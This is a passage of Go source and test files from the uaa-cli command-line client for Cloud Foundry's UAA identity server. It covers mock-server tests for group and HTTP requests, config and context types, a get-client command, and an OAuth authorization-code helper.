ghttp.VerifyRequest("GET", "/Groups", "filter=displayName+eq+%22uaa.admin%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.GetByName("uaa.admin", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("An unknown error"))
})
It("returns an error when no groups are found", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, PaginatedResponse()),
ghttp.VerifyRequest("GET", "/Groups", "filter=displayName+eq+%22uaa.admin%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.GetByName("uaa.admin", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal(`Group uaa.admin not found.`))
})
})
Context("when attributes are specified", func() {
It("adds them to the GET request", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, PaginatedResponse(ScimGroup{DisplayName: "uaa.admin"})),
ghttp.VerifyRequest("GET", "/Groups", "filter=displayName+eq+%22uaa.admin%22&attributes=displayName"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.GetByName("uaa.admin", "displayName")
Expect(err).NotTo(HaveOccurred())
})
})
})
Describe("GroupManager#List", func() {
It("can accept a filter query to limit results", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
resp, err := gm.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].DisplayName).To(Equal("uaa.admin"))
Expect(resp.Resources[1].DisplayName).To(Equal("cloud_controller.read"))
})
It("gets all groups when no filter is passed", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", ""),
))
resp, err := gm.List("", "", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].DisplayName).To(Equal("uaa.admin"))
Expect(resp.Resources[1].DisplayName).To(Equal("cloud_controller.read"))
})
It("can accept an attributes list", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22&attributes=displayName"),
))
resp, err := gm.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "displayName", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Resources[0].DisplayName).To(Equal("uaa.admin"))
Expect(resp.Resources[1].DisplayName).To(Equal("cloud_controller.read"))
})
It("can accept sortBy", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "sortBy=displayName"),
))
_, err := gm.List("", "displayName", "", "", 0, 0)
Expect(err).NotTo(HaveOccurred())
})
It("can accept count", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "count=10"),
))
_, err := gm.List("", "", "", "", 0, 10)
Expect(err).NotTo(HaveOccurred())
})
It("can accept sort order ascending/descending", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "sortOrder=ascending"),
))
_, err := gm.List("", "", "", SORT_ASCENDING, 0, 0)
Expect(err).NotTo(HaveOccurred())
})
It("can accept startIndex", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, groupListResponse),
ghttp.VerifyRequest("GET", "/Groups", "startIndex=10"),
))
_, err := gm.List("", "", "", "", 10, 0)
Expect(err).NotTo(HaveOccurred())
})
It("returns an error when /Groups doesn't respond", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Groups", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).To(HaveOccurred())
})
It("returns an error when response is unparseable", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, "{unparsable}"),
ghttp.VerifyRequest("GET", "/Groups", "filter=id+eq+%22fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.List(`id eq "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"`, "", "", "", 0, 0)
Expect(err).To(HaveOccurred())
})
})
Describe("GroupManager#Create", func() {
var group ScimGroup
BeforeEach(func() {
group = ScimGroup{
DisplayName: "uaa.admin",
}
})
It("performs POST with group data and bearer token", func() {
uaaServer.RouteToHandler("POST", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Groups"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{ "displayName": "uaa.admin" }`),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
gm.Create(group)
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the created group", func() {
uaaServer.RouteToHandler("POST", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Groups"),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
group, _ := gm.Create(group)
Expect(group.DisplayName).To(Equal("uaa.admin"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("POST", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Groups"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := gm.Create(group)
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("POST", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Groups"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := gm.Create(group)
Expect(err).To(HaveOccurred())
})
})
Describe("GroupManager#Update", func() {
var group ScimGroup
BeforeEach(func() {
group = ScimGroup{
DisplayName: "uaa.admin",
}
})
It("performs PUT with group data and bearer token", func() {
uaaServer.RouteToHandler("PUT", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Groups"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{ "displayName": "uaa.admin" }`),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
gm.Update(group)
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the updated group", func() {
uaaServer.RouteToHandler("PUT", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Groups"),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
group, _ := gm.Update(group)
Expect(group.DisplayName).To(Equal("uaa.admin"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("PUT", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Groups"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := gm.Update(group)
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("PUT", "/Groups", ghttp.CombineHandlers(
ghttp.VerifyRequest("PUT", "/Groups"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := gm.Update(group)
Expect(err).To(HaveOccurred())
})
})
Describe("GroupManager#Delete", func() {
It("performs DELETE with group data and bearer token", func() {
uaaServer.RouteToHandler("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
gm.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
It("returns the deleted group", func() {
uaaServer.RouteToHandler("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
group, _ := gm.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(group.DisplayName).To(Equal("uaa.admin"))
})
It("returns error when response cannot be parsed", func() {
uaaServer.RouteToHandler("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusOK, "{unparseable}"),
))
_, err := gm.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(err).To(HaveOccurred())
})
It("returns error when response is not 200 OK", func() {
uaaServer.RouteToHandler("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("DELETE", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.RespondWith(http.StatusBadRequest, ""),
))
_, err := gm.Delete("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(err).To(HaveOccurred())
})
})
Describe("GroupManager#AddMember", func() {
It("adds a membership", func() {
membershipJson := `{"origin":"uaa","type":"USER","value":"fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"}`
uaaServer.RouteToHandler("POST", "/Groups/05a0c169-3592-4a45-b109-a16d9246e0ab/members", ghttp.CombineHandlers(
ghttp.VerifyRequest("POST", "/Groups/05a0c169-3592-4a45-b109-a16d9246e0ab/members"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyJSON(membershipJson),
ghttp.RespondWith(http.StatusOK, membershipJson),
))
gm.AddMember("05a0c169-3592-4a45-b109-a16d9246e0ab", "fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(uaaServer.ReceivedRequests()).To(HaveLen(1))
})
})
})
<file_sep>/uaa/uaa_context.go
package uaa
import (
"fmt"
)
type Config struct {
Verbose bool
ZoneSubdomain string
Targets map[string]Target
ActiveTargetName string
}
type Target struct {
BaseUrl string
SkipSSLValidation bool
Contexts map[string]UaaContext
ActiveContextName string
}
type UaaContext struct {
ClientId string `json:"client_id"`
GrantType GrantType `json:"grant_type"`
Username string `json:"username"`
TokenResponse
}
func NewConfigWithServerURL(url string) Config {
c := NewConfig()
t := NewTarget()
t.BaseUrl = url
c.AddTarget(t)
return c
}
func NewContextWithToken(accessToken string) UaaContext {
ctx := UaaContext{}
ctx.AccessToken = accessToken
return ctx
}
func NewConfig() Config {
c := Config{}
c.Targets = map[string]Target{}
return c
}
func NewTarget() Target {
t := Target{}
t.Contexts = map[string]UaaContext{}
return t
}
func (c *Config) AddTarget(newTarget Target) {
c.Targets[newTarget.name()] = newTarget
c.ActiveTargetName = newTarget.name()
}
func (c *Config) AddContext(newContext UaaContext) {
if c.Targets == nil {
c.Targets = map[string]Target{}
}
t := c.Targets[c.ActiveTargetName]
if t.Contexts == nil {
t.Contexts = map[string]UaaContext{}
}
t.Contexts[newContext.name()] = newContext
t.ActiveContextName = newContext.name()
c.AddTarget(t)
}
func (c Config) GetActiveTarget() Target {
return c.Targets[c.ActiveTargetName]
}
func (c Config) GetActiveContext() UaaContext {
return c.GetActiveTarget().GetActiveContext()
}
func (t Target) GetActiveContext() UaaContext {
return t.Contexts[t.ActiveContextName]
}
func (t Target) name() string {
return "url:" + t.BaseUrl
}
func (uc UaaContext) name() string {
return fmt.Sprintf("client:%v user:%v grant_type:%v", uc.ClientId, uc.Username, uc.GrantType)
}
<file_sep>/cmd/get_client.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/uaa"
"github.com/spf13/cobra"
)
func GetClientCmd(cm *uaa.ClientManager, clientId string) error {
client, err := cm.Get(clientId)
if err != nil {
return err
}
return cli.NewJsonPrinter(log).Print(client)
}
func GetClientValidations(cfg uaa.Config, args []string) error {
if err := EnsureContextInConfig(cfg); err != nil {
return err
}
if len(args) == 0 {
return MissingArgumentError("client_id")
}
return nil
}
var getClientCmd = &cobra.Command{
Use: "get-client CLIENT_ID",
Short: "View client registration",
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(GetClientValidations(cfg, args), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cm := &uaa.ClientManager{GetHttpClient(), GetSavedConfig()}
NotifyErrorsWithRetry(GetClientCmd(cm, args[0]), GetSavedConfig(), log)
},
}
func init() {
RootCmd.AddCommand(getClientCmd)
getClientCmd.Annotations = make(map[string]string)
getClientCmd.Annotations[CLIENT_CRUD_CATEGORY] = "true"
getClientCmd.Flags().StringVarP(&zoneSubdomain, "zone", "z", "", "the identity zone subdomain in which to get the client")
}
<file_sep>/cli/authcode_client_impersonator.go
package cli
import (
"code.cloudfoundry.org/uaa-cli/uaa"
"code.cloudfoundry.org/uaa-cli/utils"
"fmt"
"net/http"
"net/url"
"os"
)
type AuthcodeClientImpersonator struct {
httpClient *http.Client
config uaa.Config
ClientId string
ClientSecret string
TokenFormat string
Scope string
UaaBaseUrl string
Port int
Log Logger
AuthCallbackServer CallbackServer
BrowserLauncher func(string) error
done chan uaa.TokenResponse
}
const authcodeCallbackHTML = `<body>
<h1>Authorization Code Grant: Success</h1>
<p>The UAA redirected you to this page with an authorization code.</p>
<p>The CLI will exchange this code for an access token. You may close this window.</p>
</body>`
func NewAuthcodeClientImpersonator(
httpClient *http.Client,
config uaa.Config,
clientId,
clientSecret,
tokenFormat,
scope string,
port int,
log Logger,
launcher func(string) error) AuthcodeClientImpersonator {
impersonator := AuthcodeClientImpersonator{
httpClient: httpClient,
config: config,
ClientId: clientId,
ClientSecret: clientSecret,
TokenFormat: tokenFormat,
Scope: scope,
Port: port,
BrowserLauncher: launcher,
Log: log,
done: make(chan uaa.TokenResponse),
}
callbackServer := NewAuthCallbackServer(authcodeCallbackHTML, CallbackCSS, "", log, port)
callbackServer.SetHangupFunc(func(done chan url.Values, values url.Values) {
token := values.Get("code")
if token != "" {
done <- values
}
})
impersonator.AuthCallbackServer = callbackServer
return impersonator
}
func (aci AuthcodeClientImpersonator) Start() {
go func() {
urlValues := make(chan url.Values)
go aci.AuthCallbackServer.Start(urlValues)
values := <-urlValues
code := values.Get("code")
tokenRequester := uaa.AuthorizationCodeClient{ClientId: aci.ClientId, ClientSecret: aci.ClientSecret}
aci.Log.Infof("Calling UAA /oauth/token to exchange code %v for an access token", code)
resp, err := tokenRequester.RequestToken(aci.httpClient, aci.config, uaa.TokenFormat(aci.TokenFormat), code, aci.redirectUri())
if err != nil {
aci.Log.Error(err.Error())
aci.Log.Info("Retry with --verbose for more information.")
os.Exit(1)
}
aci.Done() <- resp
}()
}
func (aci AuthcodeClientImpersonator) Authorize() {
requestValues := url.Values{}
requestValues.Add("response_type", "code")
requestValues.Add("client_id", aci.ClientId)
requestValues.Add("redirect_uri", aci.redirectUri())
authUrl, err := utils.BuildUrl(aci.config.GetActiveTarget().BaseUrl, "/oauth/authorize")
if err != nil {
aci.Log.Error("Something went wrong while building the authorization URL.")
os.Exit(1)
}
authUrl.RawQuery = requestValues.Encode()
aci.Log.Info("Launching browser window to " + authUrl.String() + " where the user should login and grant approvals")
aci.BrowserLauncher(authUrl.String())
}
func (aci AuthcodeClientImpersonator) Done() chan uaa.TokenResponse {
return aci.done
}
func (aci AuthcodeClientImpersonator) redirectUri() string {
return fmt.Sprintf("http://localhost:%v", aci.Port)
}
<file_sep>/cmd/contexts_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gbytes"
. "github.com/onsi/gomega/gexec"
)
var _ = Describe("Contexts", func() {
Describe("when no target was previously set", func() {
BeforeEach(func() {
c := uaa.NewConfig()
config.WriteConfig(c)
})
It("tells the user to set a target", func() {
session := runCommand("contexts")
Expect(session.Err).To(Say("No contexts are currently available."))
Expect(session.Err).To(Say(`To get started, target a UAA and fetch a token. See "uaa target -h" for details.`))
Eventually(session).Should(Exit(1))
})
})
Describe("when a target was previously set but there is no active context", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL("http://login.somewhere.com")
config.WriteConfig(c)
})
It("tells the user to set a context", func() {
session := runCommand("contexts")
Expect(session.Err).To(Say("No contexts are currently available."))
Expect(session.Err).To(Say(`Use a token command such as "uaa get-password-token" or "uaa get-client-credentials-token" to fetch a token and create a context.`))
Eventually(session).Should(Exit(1))
})
})
Describe("when there are contexts", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL("http://login.somewhere.com")
ctx1 := uaa.UaaContext{ClientId: "admin", Username: "woodstock", GrantType: uaa.PASSWORD}
c.AddContext(ctx1)
config.WriteConfig(c)
})
It("prints a table of results", func() {
session := runCommand("contexts")
// Headings
Expect(session.Out).Should(Say("CLIENTID"))
Expect(session.Out).Should(Say("USERNAME"))
Expect(session.Out).Should(Say("GRANT TYPE"))
Expect(session.Out).Should(Say("admin"))
Expect(session.Out).Should(Say("woodstock"))
Expect(session.Out).Should(Say("password"))
Eventually(session).Should(Exit(0))
})
})
})
<file_sep>/uaa/http_requester_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("HttpGetter", func() {
var (
server *ghttp.Server
client *http.Client
config Config
responseJson string
)
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
responseJson = `{"foo": "bar"}`
})
AfterEach(func() {
server.Close()
})
Describe("UnauthenticatedRequester", func() {
Describe("Get", func() {
It("calls an endpoint with Accept application/json header", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("GET", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
UnauthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("supports zone switching", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.ZoneSubdomain = "twilight-zone"
UnauthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
})
It("returns helpful error when GET request fails", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("GET", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
_, err := UnauthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
})
Describe("Delete", func() {
It("calls an endpoint with Accept application/json header", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("DELETE", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
UnauthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("supports zone switching", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.ZoneSubdomain = "twilight-zone"
UnauthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
})
It("returns helpful error when DELETE request fails", func() {
server.RouteToHandler("DELETE", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("DELETE", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
_, err := UnauthenticatedRequester{}.Delete(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
})
Describe("PostForm", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{
"access_token" : "bc<PASSWORD>",
"token_type" : "bearer",
"expires_in" : 43199,
"scope" : "clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write",
"jti" : "<PASSWORD>"
}`
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
ghttp.VerifyBody([]byte("hello=world")),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/x-www-form-urlencoded"),
))
body := map[string]string{"hello": "world"}
returnedBytes, _ := UnauthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", body)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("expires_in"))
})
It("treats 201 as success", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(201, responseJson),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
))
_, err := UnauthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).To(BeNil())
})
It("treats 405 as error", func() {
server.RouteToHandler("PUT", "/oauth/token/foo/secret", ghttp.CombineHandlers(
ghttp.RespondWith(405, responseJson),
ghttp.VerifyRequest("PUT", "/oauth/token/foo/secret", ""),
))
_, err := UnauthenticatedRequester{}.PutJson(client, config, "/oauth/token/foo/secret", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
It("returns an error when request fails", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
))
_, err := UnauthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("supports zone switching", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(201, responseJson),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.ZoneSubdomain = "twilight-zone"
_, err := UnauthenticatedRequester{}.PostForm(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).To(BeNil())
})
})
Describe("PostJson", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{ "status" : "great successs" }`
server.RouteToHandler("POST", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("POST", "/foo", ""),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{"Field1": "hello", "Field2": "world"}`),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
returnedBytes, _ := UnauthenticatedRequester{}.PostJson(client, config, "/foo", "", bodyObj)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("great success"))
})
It("returns an error when request fails", func() {
server.RouteToHandler("POST", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("POST", "/foo", ""),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
_, err := UnauthenticatedRequester{}.PostJson(client, config, "/foo", "", bodyObj)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("supports zone switching", func() {
server.RouteToHandler("POST", "/oauth/token", ghttp.CombineHandlers(
ghttp.RespondWith(201, responseJson),
ghttp.VerifyRequest("POST", "/oauth/token", ""),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.ZoneSubdomain = "twilight-zone"
_, err := UnauthenticatedRequester{}.PostJson(client, config, "/oauth/token", "", map[string]string{})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).To(BeNil())
})
})
Describe("PutJson", func() {
It("calls an endpoint with correct body and headers", func() {
responseJson = `{ "status" : "great successs" }`
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("PUT", "/foo", ""),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyJSON(`{"Field1": "hello", "Field2": "world"}`),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
returnedBytes, _ := UnauthenticatedRequester{}.PutJson(client, config, "/foo", "", bodyObj)
parsedResponse := string(returnedBytes)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(parsedResponse).To(ContainSubstring("great success"))
})
It("returns an error when request fails", func() {
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(500, "garbage"),
ghttp.VerifyRequest("PUT", "/foo", ""),
))
bodyObj := TestData{Field1: "hello", Field2: "world"}
_, err := UnauthenticatedRequester{}.PutJson(client, config, "/foo", "", bodyObj)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("supports zone switching", func() {
responseJson = `{ "status" : "great successs" }`
server.RouteToHandler("PUT", "/foo", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("PUT", "/foo", ""),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.ZoneSubdomain = "twilight-zone"
UnauthenticatedRequester{}.PutJson(client, config, "/foo", "", TestData{Field1: "hello", Field2: "world"})
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
})
})
Describe("AuthenticatedRequester", func() {
Describe("Get", func() {
It("calls an endpoint with Accept and Authorization headers", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("GET", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
config.AddContext(NewContextWithToken("access_token"))
AuthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("supports zone switching", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(200, responseJson),
ghttp.VerifyRequest("GET", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("X-Identity-Zone-Subdomain", "twilight-zone"),
))
config.AddContext(NewContextWithToken("access_token"))
config.ZoneSubdomain = "twilight-zone"
AuthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("returns a helpful error when GET request fails", func() {
server.RouteToHandler("GET", "/testPath", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("GET", "/testPath", "someQueryParam=true"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
config.AddContext(NewContextWithToken("access_token"))
_, err := AuthenticatedRequester{}.Get(client, config, "/testPath", "someQueryParam=true")
